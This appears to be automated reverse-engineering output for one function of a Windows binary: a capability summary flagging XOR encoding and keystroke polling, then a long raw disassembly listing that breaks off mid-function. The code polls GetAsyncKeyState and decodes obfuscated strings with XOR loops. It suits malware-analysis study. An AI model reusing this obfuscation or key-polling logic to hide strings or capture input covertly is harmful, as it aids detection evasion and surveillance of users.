Function at 0x14003a160
Capabilities:
Encode data using xor
Log keystrokes via polling

Disassembly:
push rbp
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x1400fc0c0]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14003a1a0
cmp byte [reloc.WS2_32.dll_accept], 0
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x14003a1a7
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14003ec46
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rsi
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], r14
movaps xmmword [rsp + 0x1d0], xmm6
movaps xmmword [rsp + 0x1c0], xmm7
movaps xmmword [rsp + 0x1a0], xmm9
movaps xmmword [rsp + 0x190], xmm10
movaps xmmword [rsp + 0x180], xmm11
movaps xmmword [rsp + 0x170], xmm12
movaps xmmword [rsp + 0x160], xmm13
movaps xmmword [rsp + 0x150], xmm14
call fcn.140039ea0
mov rcx, qword [0x1400fd900]
lea r8, [rsp + 0x50]
movss xmm0, dword [0x1400fde90]
lea rdx, [rsp + 0x40]
movss xmm1, dword [0x1400fde94]
xorps xmm14, xmm14
xor ebx, ebx
mov dword [rsp + 0x28], reloc.WS2_32.dll_ntohs
movss xmm2, dword [rcx + 0x118]
mov r9d, 0xffffffff
movss xmm3, dword [rcx + 0x11c]
movss dword [rcx + 0x1ae4], xmm0
movss dword [rcx + 0x1ae8], xmm1
mov qword [rcx + 0x1aec], rbx
mov dword [rcx + 0x1ac8], 2
movss xmm0, dword [0x1400e8ff0]
movss xmm1, dword [0x1400e8ff4]
movss dword [rcx + 0x1af4], xmm0
movaps xmm0, xmm2
movss dword [rcx + 0x1af8], xmm1
movss xmm1, dword [0x1400ea368]
subss xmm0, xmm1
mov dword [rcx + 0x1acc], 2
addss xmm2, xmm1
mov dword [rcx + 0x1b28], 0x3f800000
mov dword [rcx + 0x1ae0], 1
add rcx, 0x1cc8
movss dword [rsp + 0x20], xmm14
movss dword [rsp + 0x40], xmm0
movaps xmm0, xmm3
subss xmm0, xmm1
movss dword [rsp + 0x50], xmm2
addss xmm3, xmm1
movss dword [rsp + 0x44], xmm0
movss dword [rsp + 0x54], xmm3
call fcn.14001f8e0
mov rsi, qword [0x1400fd900]
movups xmm1, xmmword [0x1400ea1c8]
movups xmm0, xmmword [0x1400ea1b8]
mov dword [rsi + 0x1af4], 0x43c80000
movdqa xmm10, xmmword [0x1400ea580]
movdqa xmm6, xmmword [0x1400ea510]
movdqa xmm13, xmmword [0x1400ea590]
movdqa xmm11, xmmword [str.::::]
movdqa xmm7, xmmword [0x1400eabc0]
movups xmmword [rbp - 0x18], xmm1
mov dword [rsi + 0x1af8], 0x43fa0000
psrldq xmm1, 0xf
movd eax, xmm1
mov dword [rsi + 0x1acc], 1
mov edi, dword [reloc.WS2_32.dll_accept]
movups xmmword [rbp - 0x28], xmm0
test al, al
je 0x14003a4da
mov r8d, ebx
cmp edi, 2
jl 0x14003a49f
movdqa xmmword [rsp + 0x60], xmm13
lea rcx, [rbp - 0x24]
mov r8d, dword [rsp + 0x60]
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x14003a3b0
jmp 0x14003a4da
lea r9, [rbp - 0x28]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x14003a4b0
xor edx, edx
movaps xmmword [rsp + 0x1b0], xmm8
mov r8d, Ordinal_46
lea rcx, [rbp - 0x28]
call fcn.14000a610
cmp dword [0x1400fde1c], 1
mov r14, qword [0x1400fd900]
movss xmm12, dword [0x1400ea3ac]
movdqa xmm9, xmmword [0x1400eaa10]
mov rax, qword [r14 + 0x19f8]
mov byte [rax + 0x7c], 1
mov rax, qword [r14 + 0x19f8]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x58]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x5c]
addss xmm0, dword [0x1400ea38c]
addss xmm2, xmm12
movss dword [rax + 0xc8], xmm0
movss dword [rax + 0xcc], xmm2
movss xmm1, dword [rax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xe4]
maxss xmm0, xmm2
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
jne 0x14003a746
movups xmm0, xmmword [r14 + 0x1740]
lea rcx, [r14 + 0x1a78]
mov dword [rbp - 0x70], reloc.WS2_32.dll_setsockopt
lea rdx, [rbp - 0x70]
movups xmmword [rbp - 0x6c], xmm0
call fcn.140014420
cmp byte [0x1400e9a17], bl
mov rax, qword [str.fXAFUYE7tCSD]
movdqa xmm8, xmmword [0x1400ea520]
mov qword [rsp + 0x50], rax
movups xmmword [r14 + 0x1740], xmm9
mov dword [rsp + 0x40], 0x42b00000
mov dword [rsp + 0x44], 0x41b80000
je 0x14003a6fa
mov r8d, ebx
cmp edi, 2
jl 0x14003a6c4
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x50]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm8
pmuldq xmm0, xmm7
movdqa xmm2, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14003a6fa
lea r9, [rsp + 0x50]
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14003a6d0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400263a0
mov r8, qword [0x1400fd900]
movsxd rax, dword [r8 + 0x1a78]
mov rcx, qword [r8 + 0x1a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, 0x15f
add rax, rax
movups xmmword [r8 + rax*8], xmm0
dec dword [r8 + 0x1a78]
jmp 0x14003a8a7
cmp byte [0x1400e9a17], bl
mov rax, qword [str.fXAFUYE7tCSD]
movdqa xmm8, xmmword [0x1400ea520]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x50], 0x42b00000
mov dword [rsp + 0x54], 0x41b80000
je 0x14003a88a
mov r8d, ebx
cmp edi, 2
jl 0x14003a85a
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x40]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
movd dword [rsp + 0x40], xmm2
movdqa xmm1, xmm8
pmuldq xmm0, xmm7
movdqa xmm2, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
jmp 0x14003a88a
lea r9, [rsp + 0x40]
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14003a860
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.1400263a0
test al, al
je 0x14003a8af
mov dword [0x1400fde1c], 1
movups xmmword [rsi + 0x1750], xmm9
cmp dword [0x1400fde1c], ebx
mov r14, qword [0x1400fd900]
mov rax, qword [r14 + 0x19f8]
mov byte [rax + 0x7c], 1
mov rax, qword [r14 + 0x19f8]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x58]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x5c]
addss xmm0, dword [0x1400ea3c8]
addss xmm2, xmm12
movss dword [rax + 0xc8], xmm0
movss dword [rax + 0xcc], xmm2
movss xmm1, dword [rax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xe4]
maxss xmm0, xmm2
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
jne 0x14003a9f4
movups xmm0, xmmword [r14 + 0x1740]
lea rcx, [r14 + 0x1a78]
mov dword [rbp - 0x70], reloc.WS2_32.dll_setsockopt
lea rdx, [rbp - 0x70]
movups xmmword [rbp - 0x6c], xmm0
call fcn.140014420
movzx ecx, word [0x1400e9bd8]
lea rdx, [rsp + 0x40]
mov eax, dword [str.qX_Q_A6]
movups xmmword [r14 + 0x1740], xmm9
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400e9bda]
xor byte [rsp + 0x51], 0x31
xor al, 0x36
xor byte [rsp + 0x52], 0x32
xor byte [rsp + 0x53], 0x33
mov word [rsp + 0x54], cx
xor cl, 0x34
xor byte [rsp + 0x55], 0x35
mov byte [rsp + 0x54], cl
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x40], 0x42b00000
mov dword [rsp + 0x44], 0x41b80000
mov byte [rsp + 0x50], 0x41
mov byte [rsp + 0x56], al
call fcn.1400263a0
mov r8, qword [0x1400fd900]
movsxd rax, dword [r8 + 0x1a78]
mov rcx, qword [r8 + 0x1a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, 0x15f
add rax, rax
movups xmmword [r8 + rax*8], xmm0
dec dword [r8 + 0x1a78]
jmp 0x14003aa60
movzx ecx, word [0x1400e9bd8]
lea rdx, [rsp + 0x50]
mov eax, dword [str.qX_Q_A6]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400e9bda]
xor byte [rsp + 0x41], 0x31
xor al, 0x36
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov word [rsp + 0x44], cx
xor cl, 0x34
xor byte [rsp + 0x45], 0x35
mov byte [rsp + 0x44], cl
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x50], 0x42b00000
mov dword [rsp + 0x54], 0x41b80000
mov byte [rsp + 0x40], 0x41
mov byte [rsp + 0x46], al
call fcn.1400263a0
test al, al
je 0x14003aa68
mov dword [0x1400fde1c], ebx
movups xmmword [rsi + 0x1750], xmm9
cmp dword [0x1400fde1c], 2
mov r14, qword [0x1400fd900]
mov rax, qword [r14 + 0x19f8]
mov byte [rax + 0x7c], 1
mov rax, qword [r14 + 0x19f8]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x58]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x5c]
addss xmm0, dword [0x1400ea3d8]
addss xmm2, xmm12
movss dword [rax + 0xc8], xmm0
movss dword [rax + 0xcc], xmm2
movss xmm1, dword [rax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xe4]
maxss xmm0, xmm2
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
jne 0x14003abae
movups xmm0, xmmword [r14 + 0x1740]
lea rcx, [r14 + 0x1a78]
mov dword [rbp - 0x70], reloc.WS2_32.dll_setsockopt
lea rdx, [rbp - 0x70]
movups xmmword [rbp - 0x6c], xmm0
call fcn.140014420
movzx ecx, word [0x1400e9ebc]
lea rdx, [rsp + 0x40]
mov eax, dword [str.sFF6]
movups xmmword [r14 + 0x1740], xmm9
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400e9ebe]
xor byte [rsp + 0x51], 0x31
xor al, 0x36
xor byte [rsp + 0x52], 0x32
xor byte [rsp + 0x53], 0x33
mov word [rsp + 0x54], cx
xor cl, 0x34
xor byte [rsp + 0x55], 0x35
mov byte [rsp + 0x54], cl
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x40], 0x42b00000
mov dword [rsp + 0x44], 0x41b80000
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x56], al
call fcn.1400263a0
mov r8, qword [0x1400fd900]
movsxd rax, dword [r8 + 0x1a78]
mov rcx, qword [r8 + 0x1a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, 0x15f
add rax, rax
movups xmmword [r8 + rax*8], xmm0
dec dword [r8 + 0x1a78]
jmp 0x14003ac1e
movzx ecx, word [0x1400e9ebc]
lea rdx, [rsp + 0x50]
mov eax, dword [str.sFF6]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400e9ebe]
xor byte [rsp + 0x41], 0x31
xor al, 0x36
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov word [rsp + 0x44], cx
xor cl, 0x34
xor byte [rsp + 0x45], 0x35
mov byte [rsp + 0x44], cl
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x50], 0x42b00000
mov dword [rsp + 0x54], 0x41b80000
mov byte [rsp + 0x40], 0x43
mov byte [rsp + 0x46], al
call fcn.1400263a0
test al, al
je 0x14003ac26
mov dword [0x1400fde1c], 2
movups xmmword [rsi + 0x1750], xmm9
cmp dword [0x1400fde1c], 3
mov r14, qword [0x1400fd900]
mov rax, qword [r14 + 0x19f8]
mov byte [rax + 0x7c], 1
mov rax, qword [r14 + 0x19f8]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x58]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x5c]
addss xmm0, dword [0x1400ea3e4]
addss xmm2, xmm12
movss dword [rax + 0xc8], xmm0
movss dword [rax + 0xcc], xmm2
movss xmm1, dword [rax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xe4]
maxss xmm0, xmm2
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
jne 0x14003ad4d
movups xmm0, xmmword [r14 + 0x1740]
lea rcx, [r14 + 0x1a78]
mov dword [rbp - 0x70], reloc.WS2_32.dll_setsockopt
lea rdx, [rbp - 0x70]
movups xmmword [rbp - 0x6c], xmm0
call fcn.140014420
mov eax, dword [str.XAP4]
lea rdx, [rsp + 0x50]
mov dword [rbp - 0x78], eax
lea rcx, [rbp - 0x78]
movzx eax, byte [0x1400e9940]
xor byte [rbp - 0x77], 0x31
xor al, 0x34
xor byte [rbp - 0x76], 0x32
xor byte [rbp - 0x75], 0x33
movups xmmword [r14 + 0x1740], xmm9
mov byte [rbp - 0x74], al
mov dword [rsp + 0x50], 0x42b00000
mov dword [rsp + 0x54], 0x41b80000
mov byte [rbp - 0x78], Ordinal_79
call fcn.1400263a0
mov r8, qword [0x1400fd900]
movsxd rax, dword [r8 + 0x1a78]
mov rcx, qword [r8 + 0x1a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, 0x15f
add rax, rax
movups xmmword [r8 + rax*8], xmm0
dec dword [r8 + 0x1a78]
jmp 0x14003ad9e
mov eax, dword [str.XAP4]
lea rdx, [rsp + 0x50]
mov dword [rbp - 0x78], eax
lea rcx, [rbp - 0x78]
movzx eax, byte [0x1400e9940]
xor byte [rbp - 0x77], 0x31
xor al, 0x34
xor byte [rbp - 0x76], 0x32
xor byte [rbp - 0x75], 0x33
mov byte [rbp - 0x74], al
mov dword [rsp + 0x50], 0x42b00000
mov dword [rsp + 0x54], 0x41b80000
mov byte [rbp - 0x78], Ordinal_79
call fcn.1400263a0
test al, al
je 0x14003ada6
mov dword [0x1400fde1c], 3
movups xmmword [rsi + 0x1750], xmm9
cmp dword [0x1400fde1c], ebx
movdqa xmm9, xmmword [0x1400ea530]
movdqa xmm12, xmmword [0x1400ea540]
mov r14, qword [rsp + 0x208]
mov dword [rsi + 0x1594], 0x41000000
mov dword [rsi + 0x1598], 0x41000000
jne 0x14003c05a
movzx eax, byte [0x1400e98d8]
lea rcx, [rsp + 0x40]
mov rsi, qword [0x1400fd900]
xor al, 0x38
movsd xmm0, qword [0x1400e98d0]
xor edx, edx
movsd qword [rsp + 0x40], xmm0
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
mov byte [rsp + 0x48], al
mov rax, qword [rsi + 0x19f8]
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_35
mov dword [rsp + 0x50], 0x43be0000
mov dword [rsp + 0x54], 0x43d98000
mov byte [rax + 0x7c], 1
mov rax, qword [rsi + 0x19f8]
movsxd r8, dword [rax + 0x1e0]
mov rax, qword [rax + 0x1e8]
mov r8d, dword [rax + r8*4 - 4]
call fcn.140003010
cmp dword [rsi + 0x1a24], eax
jne 0x14003ae79
mov dword [rsi + 0x1a2c], eax
lea r8, [rsp + 0x50]
mov dword [rsp + 0x20], ebx
lea rcx, [rsp + 0x40]
mov edx, eax
cmp dword [rsi + 0x1a28], eax
jne 0x14003ae98
mov byte [rsi + 0x1a37], 1
call fcn.1400088e0
mov eax, dword [str.qX_Q_A6]
lea rdx, [0x1400fd8fd]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x50]
movzx eax, word [0x1400e9bd8]
xor byte [rsp + 0x51], 0x31
xor byte [rsp + 0x52], 0x32
xor byte [rsp + 0x53], 0x33
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400e9bda]
xor byte [rsp + 0x54], 0x34
xor al, 0x36
xor byte [rsp + 0x55], 0x35
mov byte [rsp + 0x56], al
mov byte [rsp + 0x50], 0x41
call fcn.140027220
cmp byte [0x1400fd8fd], bl
je 0x14003c05a
cmp byte [0x1400e9ff3], bl
movups xmm2, xmmword [str.dP_TQA]
mov edx, dword [0x1400e9ff0]
mov dword [rbp - 0x60], edx
movups xmmword [rbp - 0x70], xmm2
je 0x14003b16a
mov r8d, ebx
cmp edi, 2
jl 0x14003b135
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x1400ea550]
movdqa xmm2, xmm12
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm7
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm11
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
jmp 0x14003b16a
lea r9, [rbp - 0x70]
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14003b140
lea rdx, [0x1400fd998]
lea rcx, [rbp - 0x70]
call fcn.140027220
movzx eax, byte [0x1400e9c40]
mov r8d, ebx
mov byte [rbp - 0x18], al
movups xmm2, xmmword [0x1400e9c30]
movups xmmword [rbp - 0x28], xmm2
cmp edi, 2
jl 0x14003b347
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x24], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x20]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x20], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x1c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14003b351
lea rdx, [0x1400fd8fa]
lea rcx, [rbp - 0x28]
call fcn.140027220
movzx eax, byte [0x1400ea050]
mov r8d, ebx
mov byte [rbp - 0x18], al
movups xmm2, xmmword [0x1400ea040]
movups xmmword [rbp - 0x28], xmm2
cmp edi, 2
jl 0x14003b562
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
